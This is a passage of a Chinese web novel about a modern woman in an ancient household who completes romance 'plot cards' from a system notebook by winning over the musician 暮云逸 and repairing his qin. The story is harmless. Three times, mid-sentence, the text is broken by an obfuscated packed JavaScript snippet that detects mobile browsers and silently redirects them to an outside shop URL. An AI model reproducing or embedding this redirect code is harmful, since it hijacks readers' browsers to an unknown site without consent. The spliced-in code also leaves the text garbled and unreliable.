郁离枝回到书房独自思量片刻,而后叫来侍卫: “岚山。” “在。” “去寻一个府上最忠厚能干的侍卫,把他指派给暮云逸,负责护卫暮云逸。” “是,小姐。” 她要她的男主角再也不会有能出现故障的条件。 如此一来,应当是万无一失了。 郁离枝打开黑色笔记本。 【欢迎来到“韵文之亭”!】 【请收取每日登录奖励:绮缘之晶*50】 【完成部分每日任务!获得绮缘之晶*20!】 今日处理了彩环和勤兴二个下人的小波折,时候已经不早了。把琴交给暮云逸一事,就排到明天吧。 这几日下来也够忙碌了。 郁离枝放下笔记本,里面适时传来系统音: 【今日绮缘之晶即将扣除!您目前的绮缘之晶账户余额:1130!扣除后余额:1030!】 随即就被收进散发着淡淡木质清香的木屉中,陷入了一片黑暗。 11. 日久生情(中) 日上三竿之时,暮云逸的院落尚且清静。暮云逸端坐于书桌之前,敛眸沉思。 忽然,院门被敲响了。 暮云逸打开门,只见门外站着一侍从模样的下人,微微俯首,说自己是小姐赐予护卫他的侍卫。 “离枝姑娘……何时回府的?”暮云逸微微错愕。 “昨夜。”下人干脆利落地回复,微微抬头看向错愕无言的暮云逸,又解释道,“小姐昨夜刚一回府,就派人去调查暮公子琴坏一事,随即便指派我来护卫暮公子。” 说完后又恭敬地颔首。 暮云逸还未从郁离枝突然归府的震惊中缓过神来,心里还没来得及升起一丝对自己甚至不知道郁离枝去了何处,所为何事的黯伤,听闻此言,心里又卷起惊涛骇浪。 “调查我……琴坏一事?”暮云逸脸上表情一瞬空白,甚至条件反射地,微微褪了血色。 “是的。小姐……对此事追责完后,给所有郁府的下人下令,需得视暮公子如视她,不得轻慢。”此名侍卫正是郁离枝昨夜当众审问之时也在场的侍卫,他略微斟酌了一下字句,隐去了勤兴一事,简略告知道。 暮云逸不自觉吞咽了一下。 郁离枝追责琴坏一事……还告知郁府下人,不得轻慢? 暮云逸有种被当众剖开藏污纳垢心思的羞耻感。 就在郁离枝离府的前两天,那天晚宴之后,他走到门前时,不慎被一个毛手毛脚的侍女撞坏了琴弦。 他看着已然彻底崩断散落的琴弦,一瞬好像什么也听不见了。 这是他外出流落许久最重要的东西,是他与曾经光鲜肆意的那个自己的唯一的联系。 侍女吓得啜泣,一直在道歉,好像还说了什么,可他没有听清。 但是随即来了另一名侍从,声称是这名侍女的哥哥。他俯首,声音沉痛地请求暮云逸网开一面,说他们兄妹俩在郁府做事,是为了家中卧病的母亲。 言辞恳切,令人好不动容。 暮云逸回过神来。事已至此,琴已不能复原,为难两个下人也于事无补。暮云逸吸了口气,尽量缓和声音安抚吓得颤栗的侍女。 出了门去,本来此事应该就结束了。 接下来就要去找有什么办法可以复原琴弦。 刚走出院门,暮云逸恍然发觉自己的帕子落于席上了。 待他慢慢走回月满清辉的院落,却听到令他心脏几乎停滞的私语: “阿环别哭了。这暮公子不知道是小姐从哪领来的乐师,难保不日就失宠被丢到哪里去了,犯不着对这种人……”勤兴伸手安抚妹妹,顺着话音抬头,与门口的暮云逸打了个照面,话音倏地中断。 彩环用手揉着哭湿的眼睛,听勤兴话语戛然而止,抽答一声抬起头来,却猛然被眼前景象噎住。 暮云逸正抱着断了弦的琴,站在敞开的房门之前,显然已然听到了先前的话。 彩环吓得忘了哭。 暮云逸脸上血色褪去,目中只余羞愤,胸口翻涌几下,转身离开了内厅。 …… 而现在的暮云逸知道了一件事。那就是郁离枝已然知道了那夜发生的事情。 一瞬不堪惶恐的思绪涌上来,将他淹没。 她会像那个下人所说的那样看待他吗?她是不是其实也是那样想的,只把他看成一个再普通不过的,玩物? 羞愤之情还未涌现,随即被恐惧覆盖。 现在的他还有什么资格要求更多? 他早已没有资格骄傲了。 “暮公子……?”眼前的侍卫久久未见暮云逸的回应,略带疑惑地抬头。 而暮云逸也终于把自己从思绪之中拽出来。眼前的侍卫,以及侍卫所传达的郁离枝的话,都告诉他,不是的。 不是这样的。 她绝不只把他当成一个玩物。 她命令郁府上下,要给他像她自己一样的待遇。 暮云逸后知后觉地生出一丝欢欣。甚至是,一丝窃喜。 心口后知后觉地涌起一股暖流,甚至还泛起丝丝的甜。 “小姐说了,今后暮公子有一切想要的都可以告知属下,一切吃穿用度以小姐自己为标准。”侍卫俯身。 “以及……今夜照旧去内厅用晚饭,小姐在等你。” 仿佛被巨大而甜蜜的幸福击中,暮云逸轻挽起嘴角。 她说,在等他。 那个予他新生,又尊他敬他,于他而言仿若神明的郁离枝。 而与此同时,郁离枝书房紧锁。 与之一同紧锁的还有郁离枝的眉头。 某21世纪现代女子正襟危坐,支起手臂来肃穆地凝视面前的黑色笔记本。 “有个问题。” 【玩家有什么问题?】 悬浮的全息界面上,一个系统音出声。 “之前因为突发状况导致男主的关键道具,琴坏了,那么这件事就已经成定局了。我虽不能以剧情之力修琴,但我是否可以再次以这琴作为推动剧情发展的重要道具呢?” 【问题解析中……】 【解析完成!回答玩家,理论上是可以的!玩家在构建恋爱剧情方面,具有最大且不受干涉的权力!】 郁离枝得了许可,点了点头,心里有了谱。 遂提笔,在黑色笔记本上疾书。 郁离枝遂趁热打铁,把之前写的日久生情R卡的两幕稍作修改,并在前文加上篇幅大概也占两幕的还琴的情节,这样就大致凑够了日久生情卡牌所需的字数。 并且在她交还修好的古琴、肃清对暮云逸不敬之人,表明坚定态度之后,此时再与之花前月下,郁离枝想不到还有什么问题。 应当是逻辑严密,万无一失了。 完笔还琴这一个情节,郁离枝花了足足两柱香时间。 待时间已经快至夜宴之时,郁离枝方才停笔。 她斩钉截铁,直接把所有稿件都提交了上去。 然后等待熟悉的加载界面。 【审稿中!请稍候……】 【审稿完成!结果复查中!】 【逻辑较为严密通畅,情感变化自然,已过稿!】 郁离枝心中石头落地,轻抿起唇角。 不罔她接连奔波数日。 【今日每日任务已完成!】 【恭喜玩家完成R卡“日久生情”的撰写任务!】 【剧情构建中……构建完成!剧情线已变动!】 【注意,玩家此次交稿涉及两日的剧情量!请玩家分别于今明两日的日入时分前往剧情点:郁府内厅触发剧情!】 郁离枝看着过稿界面,幻视水晶般五彩斑斓的结晶已经哗啦啦流进了她的账户口袋 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17202081|197231||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 。 正傻笑着,郁离枝突然回神。 马上要到走剧情的时候了,她要快点去内厅做准备。 思及此处,郁离枝随即动身,去了内厅。 日影西移,暮云逸于坐了一下午的石椅上起身,拿着郁离枝此前赐予他的,他弹奏了一整个下午的古琴,向内厅走去。 远远望见内厅隐隐亮着的灯光,暮云逸心头早已不见那日听见下人谈论时的对此地应激式的羞辱感,而是取而代之的甚至可以称之为雀跃的期待。 因为他知道,离枝姑娘就在那灯光里,在等着他。 持琴踏入那光亮之地,暮云逸抬头,正正撞进正慵懒坐于座上的郁离枝含笑的眸中。 “暮公子,几日不见,可还安好?” 暮云逸被那双杏眸盯得面上微微泛红。一路上尽是期待,可如今真切见着了,却是害羞地不敢直视。 “离枝姑娘,我……我很好。”暮云逸低下头,手指轻轻摩挲着古琴木质细腻的琴身。 他有心想问郁离枝这几日去做了什么,可话到嘴边还是觉得僭越,仍是没有问出口。 郁离枝却拿眼睛大大方方地看着暮云逸,站起身来招呼着暮云逸放了琴坐下,快入座吃饭。 两人反而默契地不提关于昨夜责问之事,还有郁离枝为他安排侍卫一事。 内厅熏香萦绕,与珍馐海味的香气合在一起,令人食欲颇丰。 郁离枝许是饿了,在席上吃得颇多。暮云逸也因为没了几天前思想的包袱,遂正常吃饭。 暮云逸看着坐在对面的郁离枝,目光柔软。他吃到差不多半饱,便以手帕轻试唇角,有起身之意。 他要去拿琴来,为郁离枝弹奏他所能奏出的最动听的乐章。 无以为报,唯有琴声。 郁离枝却拦下对方,颇为神秘地对他摇摇头。 暮云逸呆了瞬,眼睛眨了眨。 “暮公子还没吃饱吧?这样吧,暮公子不若与我做一个交易,如何?”郁离枝眼神灵动,语气却严肃,似乎真的要与暮云逸谈什么交易。 暮云逸微微怔愣,随即宠溺一笑:“暮某都听离枝姑娘的。” “我想想……”郁离枝做苦恼状,认真思索,“暮公子若答应我吃饱,我就给暮公子一个惊喜,怎么样?” 暮云逸唇角挽起颇为无奈的笑。还以为是什么交易,原来只是哄他吃饭。 但看离枝姑娘煞有介事的样子,暮云逸便也顺着话音,颇为严肃地道:“好,离枝姑娘。” 郁离枝遂心满意足地拾筷,继续大快朵颐。 终于待到酒足饭饱,郁离枝坐在椅子上,感觉有点晕碳犯困了,一眼瞥见暮云逸漂亮而微微含笑的桃花眼,才想起来还有剧情没走。 郁离枝起身,把暮云逸拉到内厅角落一盖着锦缎的木箱旁,语气神秘: “暮公子不若猜猜,这箱子内装的是什么?” 暮云逸端详着这木箱尺寸,心里一面在根据尺寸认真猜想其间物件,可另一面,心里却不可抑制地升起一个不切实际的猜想。 郁离枝也不多卖关子,拿起了那锦缎一角,缓缓将木箱中的东西展露开来—— 是他三日前曾损坏到他自己都觉得复原无望的琴。 如今已复原如初,正完好无恙、安安稳稳地躺在垫了层层绸缎的木箱之中。 12. 日久生情(下) 他那断了弦的琴,如今正安然完好地躺在木箱中。 那夜散乱的两根琴弦,如今结结实实地缘在伽陀罗木质的琴身之上,成色莹润,看上去与先前的几根琴弦别无异处。 暮云逸愣愣地看着这把才离了自己三两天的琴,再一见面,竟然已经是跟自己刚离开暮府时一样的完好无瑕。 暮云逸张了张嘴,一瞬连他自己都不知道要发出什么声音。 只能一遍又一遍地用目光描摹,不自觉地以手指轻触琴弦,待到熟悉而柔韧的触感自指尖传来,暮云逸方才敢确定,这就是现实,而不是什么幻象。 郁离枝则在一旁扯着那一方锦缎,留给暮云逸震惊的时间,含笑双眸将暮云逸的反应尽收眼底。 “如何?暮公子可还满意?”郁离枝唇角微弯,适时地出声道。 暮云逸终于从失而复原的震惊中回过神来,张了张嘴,声音沙哑,克制着颤意: “离枝姑娘为何……为何为我至此?” 他如今只是一介身世零落,无权无势,也再无什么特殊之处的草民,离枝姑娘到底为何要对他这样一个人做到如此地步? 郁离枝温婉清音未做任何停顿地响起,仿佛这答案从来都在她的心底,只是今时今日才说出口。 “初见之时,离枝就已经告诉暮公子了。暮公子是我看中之人。” 郁离枝声音微顿,复又语气和缓道:“且相处数日,离枝也觉自己眼光从来未差。离枝幼时读过一句诗‘高山仰止,景行行止’,而今见了暮公子,方才理解这诗中的奥妙。” 郁离枝舌灿莲花,随口吹了一通彩虹屁。 但此话落在暮云逸耳中,却全然不是那么一回事。 家道中落之后,他一朝从衣食无忧的世家独子变成要为生计发愁的普通人。米面之忧尚且紧迫,而他也早已不再奢望他还会得到早已不属于他的“尊重”。 可如今的郁离枝却分分明明地把他拽出来,硬生生把一份尊重与重视塞到他手里,并且清清楚楚地告诉他,这就是给他的,仅仅是为了他这个人而给他的。 暮云逸眼眶微酸,微别过头去,遮挡住郁离枝的视线。 待转过头,已然压下眼中的泪意。 郁离枝却有七窍玲珑心,见此状故意软声打趣道:“暮公子为何不言,可是对这修复的琴弦不满意?” “怎会!暮某、暮某只是在想离枝姑娘如此恩情……暮某到底要怎样才能堪报答……”暮云逸声音艰涩,几乎称得上是哽咽。 郁离枝却正色道:“离枝从未想要暮公子报答什么,只希望暮公子能开心、快乐。” 听闻此言,暮云逸喉头又滚动几番,眼睛湿意上涌。 郁离枝领了暮云逸回到座椅之上,温声回答了暮云逸问的关于修琴一路上的事情。她故意未曾详说一路马不停蹄的舟车劳顿,只将路上遇到的几个奇人轶事略做简化地讲与对方。 暮云逸情绪渐渐平稳。见夜已渐深,忙主动提出要用这新修好的琴为郁离枝弹奏一曲。 他想将满腔浓厚的知遇之恩,还有一丝甚至连他自己都未曾察觉的缱绻情愫,蕴于这琴音,悉数道与郁离枝。 郁离枝却劝下对方,只说今日时日已不早,暮云逸也刚得了琴,让他回去好好安复情绪,好好休息。 暮云逸执意。郁离枝无法,只得浅声: “暮公子不必心急。明日,离枝依旧会在此处,等着暮公子。” 弹琴?那是明日的戏份。 暮云逸这才停止了坚持,双眸含着些许不舍,目送郁离枝离开了内厅。 郁离枝回到书房,锁好房门,满怀期待地打开那本黑色笔记本。 【欢迎来到“韵文之亭”!】 【恭喜玩家完成主线第一章第二、三两幕!请前往任务界面领取奖励!】 郁离枝迫不及待点开任务界面,连续点击了两次,把两幕剧情的800绮缘之晶奖励收入囊中。 她这剧情终于算是走上了点正轨。 【今日绮缘之晶即将扣除!您目前的绮缘之晶账户余额:1920!扣除后余额:1820!】 黑色笔记本之上的全息浮空屏幕上,每日惯例的扣除结晶语音弹了出来。 今天写了近一万字稿,郁离枝深感疲乏,锁好黑色笔记本后就跌在床上,逐渐沉入了梦乡。 而暮云逸抱着修好的古琴,缓步回到住处后,仍就着微弱的烛光,一遍一遍地看着那琴,嘴角止不住地轻扬。 到了夜半,暮云逸方才小心把琴安放好,吹灭了蜡烛,也陷入了睡梦之中。 翌日,下午。 暮云逸正坐于书房之中,忽而院门外有几声响动,暮云逸应声去开门。 只见侍卫还有随从几名下人,捧着些字画、盆景之类的精美物件,来送与暮云逸。 “这是小姐给您送来的。小姐还带了话,说公子若有什么钟爱的珍奇之物,也尽管说与小姐,小姐会为您寻来。” 下人们得了应允,随即鱼贯而入,将暮云逸清简的居室置办地雅致雍贵。 暮云逸只是呆呆地看着一群下人忙上忙下,一瞬觉得自己好像回到了暮府曾兴盛之时。 彼时,他也是一个酷爱收集各种名门字画,被数不清的下人簇拥侍奉的世家子弟。 而如今这些,却都是离枝姑娘一人为他带来的。 下人们送来了字画,听了府上这几日的传闻,几乎不敢与这来历不明的大人物对视,遂退出了暮云逸的院落。 “白日我送去的字画,暮公子看了可还入眼?” 夜色迷蒙,花灯将和暖的内厅照得颇有几分喜气洋洋。梨木座椅之上,郁离枝一眼瞧见垂首刚刚进门的暮云逸,语气随意地寒暄道。 “离枝姑娘选的……无论是何,暮某都会喜欢。”暮云逸微羞赧地低头,声音暗含某种未明说的情愫,轻轻道。 “父亲上次回府,还带来了些宫廷所用的颜料绘纸。放在我这里也无甚用去,不若明日我派侍卫给暮公子送去。” 席间,郁离枝如往常一样夹菜喝酒,像聊家常一样地说着。 暮云逸只是感到惶恐。他接受地太多了,可是他能回报的却又那么少,甚至几乎没有什么能够拿得出手。 郁离枝听了,却了然一笑:“暮公子不必有负担。我知暮氏昔日的兴盛,恐怕此时的郁氏也难以与之相较。” 暮云逸只当郁离枝是在以体面话安抚他,却不料对方话锋一转: “况且我知暮公子天资聪颖,又加以正直如玉的品行,是以离枝从不觉得,暮公子会一直处于此种境地。”郁离枝直视着暮云逸的双眼,顿了顿道,“纵然被埋没,但竹不折其节,玉不改其坚。相信暮公子也是一样,终有一日,会被天下人看到。” 暮云逸看着郁离枝直视着自己的坚定眼神,心神大动,心脏开始可耻而不受控制地跳动起来。 如果有一个女子肯待他如此,那么他觉得,他这一生可以说别无所求。 感激又激昂的情感溢于满怀,暮云逸此时却恨他为何嘴拙如此,竟难以找到一些合乎心意的词句,以表述自己对离枝姑娘的感激之情。 于是,暮云逸转身拿起那琴弦完好的古琴,指尖在触弦前悬停片刻,抬眼看向郁离枝: “此曲……从未奏 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17202082|197231||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 与他人过。” 郁离枝微挑眉,在她的默许下,一曲清音在暮云逸指尖缓缓流淌开来。 琴音绵延婉转,丝丝入扣,动人心弦。 情真意切,连郁离枝这个音痴似乎都能懂得这其间的三分含义。 一曲终了,情丝却未绝。 余音散去,内厅静得只闻院落里的蛐蛐虫鸣声。暮云逸没有立刻放下琴,郁离枝也没有即刻称赞。 某种别样的氛围在二人之间蔓延开来。混合着馨甜迷蒙的熏香,又似水雾般带着微微的潮气。 几息之后,郁离枝开口打破寂静: “此曲与暮公子先前弹奏过的曲子都有所不同……这是何曲?” “……这是暮某的母亲,在幼时曾弹与我一人听的自作的曲目。”暮云逸一字一顿。 “怪不得动听至此……离枝有幸能听到这曲子,实是世间少有的独一份。” 暮云逸张了张嘴,吞下一句话,终是没有说出口。只是喉结滚动,声音低沉认真道: “人生幸得离枝姑娘。高山流水,不枉此生。” 话语间是纯粹的坚定赤诚。 赤裸而不掺任何瑕念的忠诚话语,在郁离枝耳中,却是剧情已然圆满完成的标志。 又跟暮云逸在内厅内待了一刻,聊了些日常琐碎。郁离枝觉得已然差不多了,遂回了房。 【欢迎来到“韵文之亭”!】 【恭喜玩家完成主线第一章第四、五两幕!请前往任务界面领取奖励!】 【恭喜玩家已然完成主线第一章的全部内容!期待玩家再接再厉,谱写更多充满惊喜的尘缘之章!】 郁离枝看了奖励界面,一瞬间腰也不酸了腿也不疼了。 又是800结晶! 还有每周任务过稿3次和通关主线3次的200结晶! 谁敢想,她现在已经有了2890结晶! 郁离枝看着账户上充足的七彩色结晶,实属心满意足。 且让她看看第二章需要的是什么卡牌,需不需要她再下池子。 郁离枝点开主线图标。 【第二章】 【未解锁】 【需完成SR卡:雄竞扯头花解锁】 郁离枝看着一串指令,恍然大悟地想起自己第一次十连,保底SR卡牌好像就叫这个名字。 虽然有点奇怪,但是郁离枝仍印象深刻。因为这张卡牌跟第一张R卡救风尘一样,是有立绘的。 而且画面美轮美奂。 抱着为自己接下来写稿收集基本情报的想法,郁离枝点开背包,找到里面存放的雄竞扯头花SR卡,点开查看详情。 卡牌告示上写着:“请以‘雄竞扯头花’为主题,书写篇幅待定,幕数待定的剧情!” 郁离枝怀疑自己眼花了,还看了两遍,最终确认自己没有看错之后,发出灵魂一问: “这个待定是什么意思?” 【SR卡及以上等级的剧情卡,可能篇幅较长,且为了符合玩家本人的书写节奏,将不限制具体篇幅和字数要求!但审稿机制照常运行,不会放低要求!请玩家严格要求自己,自行书写卡牌剧情!】 郁离枝面容肃穆地点点头,她自己也说不准这是好事还是坏事。 不过她喜欢自由。所以这姑且应该能算是好事……吧? UI界面又弹跳出信息: 【今日绮缘之晶即将扣除!您目前的绮缘之晶账户余额:2890!扣除后余额:2790!】 郁离枝合上书本,躺在床上。 而明天等待着她的,将是全新的,将由她去书写的篇章。 13. 雄竞到底是何 “离枝姑娘……我脸上,是不是有什么东西?为何离枝姑娘一直盯着……”内厅华灯之下,暮云逸有些局促地微微低头,面色在郁离枝的注视之下泛起一抹粉红。 郁离枝闻言猛地回神,才意识到自己盯着暮云逸的脸已经出神有些时候了。 “咳、无事。暮公子不必在意。”郁离枝收回视线,干咳一声掩饰尴尬。 刚刚她在尝试把“雄竞扯头花”这张卡牌剧情跟暮云逸俊美无俦的脸对上号。 但是话说“扯头花”到底是啥来的?她看这个古代世界男子头上也不簪花戴玉的啊? 郁离枝克制住了自己把炯炯目光继续游移到暮云逸面上的冲动,听到对面男子略显羞赧但又暗含郑重的声音: “离枝姑娘今早送来的画材,暮某已经收到了……”暮云逸微微低头,声音微顿。 哦对了,还有这事,郁离枝都差点忘了。她穿来这世界有些时日了,早已练就了从善如流大法,遂流利客套: “暮公子用着如何?喜欢的话不日我再跟父亲要些来。” “暮某不胜感激。离枝姑娘对我这么好,我一直在想有朝一日如果有机会,一定要好好报答离枝姑娘。是以,暮某几日前听说……”暮云逸放在腿上的手指微微收紧,似乎在斟酌语句,不知道是否要将心中的想法宣之于口。 郁离枝一见对面男子微微低头不再注意自己的视线,又开始盯着对面男子,眼神放空兀自思索。 犹记今早—— 郁离枝今日也起了个大早,刚起来就对着黑色笔记本两眼空空。 “雄竞扯头花”几个大字明明白白地写在卡牌上,又清清楚楚地通过全息屏幕映照在郁离枝眼前,但郁离枝仍觉迷茫。 她能大致理解这个情节指的是什么。但是说实话,作为一个自幼弃绝桃花的理工直女,她对这种情节并没有什么实感。 也正是基于对自己的这种了解,天刚一亮,郁离枝就去了郁府旁的闹市街巷。 然后带回来了这些封面和标题都颇为香艳的话本—— 《武则天秘闱录》、《娇醋》、《俏姊妹争夫记》…… 而这些颇为烫手的话本郁离枝是从哪弄来、怎么弄来的呢?是的,这是郁离枝一炷香前身先士卒买回来的。 彼时,郁离枝站在一家书类齐备的书肆前,天人交战一阵,终是神情肃穆开口。 “掌柜的,你这里是否有后宫向话本?一女多男的优先。” 一语可谓石破天惊,惊世骇俗。 掌柜惊得好似生恰了一颗核桃,愣愣看着对面直言不讳的女子,半晌无言。 待掌柜终于重塑并接受了新世界观,调动石化四肢顺拐地带着郁离枝去挑书,郁离枝方得到了这些颇有伤风化的话本。 古代女性话本娱乐还是太保守了,一女多男题材只有一本《武则天秘闱录》,其他都是一男多女题材话本。 但是无妨,用作素材也足够了。 郁离枝翻开话本正襟危坐,认真研读话本有如分析调查报告。 她首先翻开的是仅从书名来看就令人顿觉新奇的《武则天秘闱录》。 话本第一页上写着: 免责声明:本话本所有情节皆为杜撰,请各位看官切莫当真。 严谨。郁离枝点点头表示认可,从善如流地翻开书页去看正文。 “嘶——” 只见翻开的书页之上,某些不可描述之词见缝插针,有如梅花点点错落其间,有些甚至成花团锦簇之态。 郁离枝:……? 看来这本书确实对得起书名的“秘闱”二字,平均三章就会出现一次某种不可名状的情节,实属货真价实,不是挂羊头卖狗肉。 郁离枝不用敲审稿系统就知道这肯定不是她能写的范畴,只得一目十行地找寻有没有她需要的“雄竞”情节。 有了!第36章中,在众多面首之中,其中一位非常善妒。他暗中毒杀了当今受宠的另一位面首,隐瞒后被武则天发现并处死…… 等会,处死?我要的是雄竞,不是宫斗啊! 郁离枝摇了摇头,继续一边飞速翻页,一边快速浏览。 嗯?第59章中,武则天为择出一位出身高贵、能力非凡的皇夫辅佐政事,成为自己名义上的丈夫,她将几位颇有名望背景的面首挑选出来,组织了一场选拔皇夫的考核。具体考察范围包罗万象,要求皇夫琴棋书画样样精通,而俊美模样只是最最微不足道的入场券…… 郁离枝自书页之上抬起双眸,敛眸沉思。 雄竞了吗?确实雄竞了。 虽然但是,这不就是选妃性转版吗? 所以“扯头花”到底是一个怎样的场面? 郁离枝怀着疑问往下翻去,只见一系列公事公办的角逐竞争之后,最终胜出者是一个此前就颇为受宠的贵公子——不仅手握重权,才能心性也近乎夺魁。 不过这些优势很快就被郁离枝抛诸脑后了。不怪她,因为这位公子每次出场,话本作者都要花费近半张纸的篇幅描绘这位公子是如何的惊鸿一眼芙蓉面,花容月貌为谁妍。 郁离枝:作者禁止夹带私货。 除了平铺直叙的考核流程,郁离枝再没看到跟“雄竞”沾边的,更别提“扯头花”。 …… 这也就是今夜席上郁离枝一直盯着暮云逸做若有所思状的原因。 呃……暮云逸刚刚说了什么来着? 郁离枝从回想中回过神来,终于意识到这是在内厅,她现在在跟暮云逸相对而坐。 他刚刚好像说了什么……要报答我? 郁离枝看着对面微微低头的男子,张了张嘴正不知道要说什么,内厅庭院的门“嘭”一下被打开了。 “阿离!你在这呢!我说怎么去你房里找你找不到!”只见一鲜衣华服青年风风火火进了内厅,正是几日前曾见过的,她的堂哥郁无玦。 郁离枝:…… “哎,阿离,这位是?”郁无玦终于察觉出了一丝不 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17202083|197231||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 对劲,见了这内厅席上竟还有一人,遂大大咧咧问道。 “哥哥,这位是我前几日收到府上的乐师。暮公子,这是离枝的堂哥,名唤无玦。” 郁离枝已经不知是要感谢郁无玦的救场,还是要摇头叹息她的这个莽撞哥哥。嘴比脑子快,先给二人介绍了一番。 暮云逸恭敬颔首,郁无玦也回一礼,并不十分在意自己妹妹跟一个乐师单独同席吃饭。 “阿离!你还不知道吧,长姐一家明夜就回府了!快跟我趁着今夜出府去好好玩玩吧!伯父伯母那一家子老古板来了,咱们两个也自在不成了!”郁无玦急急忙忙,看样子马上就想拉着郁离枝走。 郁离枝又想按太阳穴,碍于现在在两人面前,终是忍住了。 没错,郁氏还有一个长姐,名唤郁亦嫣。郁离枝在写救风尘剧情之前,曾翻看过记载了各世家祖上名流的史书。可能是本家的缘故,对于郁氏家族自己的记载,甚至已经到了郁离枝这一辈。 郁亦嫣其人自小就是根正苗红的模范世家子弟,兢兢业业研学史学,现在四处游学,是郁家最被予以众望、最有可能继承家学的后辈。 根据郁无玦刚刚所言,应是伯父伯母一家游学回府了。 郁离枝回想几息。只可惜现今她已不是跟她这个哥哥同一阵营的纨绔子弟,而是另有要务在身,且就跟在她身旁的这位暮公子有关。 “我还是……”郁离枝眼神掠过身侧的暮云逸,正欲推脱。 但只这一眼,郁离枝却分分明明地看见了暮云逸脸上出现了一丝,她从未曾见过的神色。 清浅到有如一汪润玉上的一隙碎痕一般,几乎看不出来,可郁离枝还是捕捉到了。 那带着一抹不舍别离,一丝暗自希冀郁离枝不要去的无措眼神。 郁离枝眨了眨眼,心下好像有个开关被突然打开了。 话到嘴边转了个弯: “也好。出去散散心,我也正有此意。暮公子在这席上只管尽兴,有想吃的餐后甜点,点心水果一类,也尽管吩咐下人。暮公子不必等我,离枝跟哥哥外出一趟。” 本来因为郁离枝前言兴致缺缺的推辞语气而眼底神色微微亮起的暮云逸,在听到这些话之后,眼底的那抹神色缓慢得消失地无影无踪。 那一抹不切实际的希冀渐渐稀释,取而代之的又是那个温和知礼,言行适宜的暮云逸。 “离枝姑娘玩得开心。不必记挂我,我……”暮云逸似乎因了现下并不只是他与郁离枝二人,言行稍显拘束,但仍是想将自己心中所想告知于郁离枝,遂轻声: “我会一直,等着离枝姑娘。” 郁无玦是个神经大条的,根本不觉得这样的说辞有任何异处。不如说,他们这些世家子弟作为名门望族出身,听过的不论是来自乐师还是什么伶人艺伎的示忠示好没有五十也有一百,遂根本不放在心上。 郁离枝于是跟郁无玦一同出府,并在郁无玦的盛情推荐下,径直走入烟花之巷,直奔烟香阁。 14. 再探烟香 华灯初上,烟香阁内人声与碗筷相撞之声喧嚷,空气里浮动着脂粉香。 郁无玦与郁离枝兄妹二人撩帘先后进入了烟香阁。 郁无玦自幼就不是一个能乖乖待在府上看书研习的主,多年混迹花巷,已然跟烟香阁的这些店家伙计打得比自家人都熟。于是他刚一进烟香阁就不出所料地跑去跟店家扯皮侃大山。 郁离枝便独自择了一靠窗座位,点了一壶茶,闲适地边淡然望向窗外边浅酌。 郁离枝目光移至窗外张灯结彩的街巷,却见路上行人小贩络绎不绝,竟也是不输店内的喧闹非凡。 街巷远处,一带着小女孩的一家三口背对着郁离枝的视线缓缓远去。扎着麻花辫的小女孩一手牵着娘亲,一手举着一晶莹剔透,卖相颇佳的糖画,蹦蹦跳跳地走在中间,渐渐向深巷走去了。 郁离枝的目光追着那个小女孩,睫羽微动,目光空远。 可饶是在这种充满烟火气息的凡俗之地,郁离枝仍不得松懈,满脑子里仍全是写稿一事。 女孩的身影完全消失在深巷尽头,郁离枝收回了目光,敛眸在茶水之上轻吹了口气,百无聊赖的目光移向店内,却见烟香阁中间的戏台之上,几个舞女艺伎陆续登台,似乎要准备开始为客人献舞。 而几名艺伎的身后,跟着店家伙计一行人。而郁无玦也不出所料地混在其间嬉皮笑脸。 “阿离!你怎么坐那么远!来这边坐!我跟烟香阁的这些伙计是熟识,今日也请他们来吃一顿!”郁无玦把几人安顿在离舞台最近的几个酒桌,而后探过身东张西望,终于看见了远处安然坐在窗边的郁离枝,热情招呼道。 郁离枝举目环顾一周戏台前的几个酒桌,只见前面几桌上俱是些在烟香阁行事的青年大汉,只觉气质不合,又加上自己为写稿一事思虑甚重,遂推辞道: “哥哥,前面的座位业已坐满,离枝这里虽远但视野颇好,就不动身了。哥哥玩得尽兴就好。” 郁无玦听了从酒桌间拔起一条腿,看样子竟是要亲自来邀郁离枝,坐在一旁的掌柜却忽然拉住郁无玦煞有介事地耳语了什么。 “果真?!”郁无玦一听似乎要蹦起来,直接撇了要去拉郁离枝一事,抓起掌柜就要往外走,“走走走,我亲自去请他!这人可是难得一见啊!阿离,等我一会!我去去就回!” 郁离枝拾了茶杯做吹茶状,本欲跟往常一样借口推脱,谁知眼睛一从茶水的水雾之上抬起,郁无玦已然不知道和掌柜跑到何处去了。 真是来无影也去无踪。 郁离枝已习以为常。伴着戏台之上的莺歌燕舞,郁离枝又将眼神游移到窗外,但却一眼在烟香阁门外的树下看见一个颇为熟悉的身影。 一抹暗色侍卫玄装隐在暗处,几乎让人看不见。 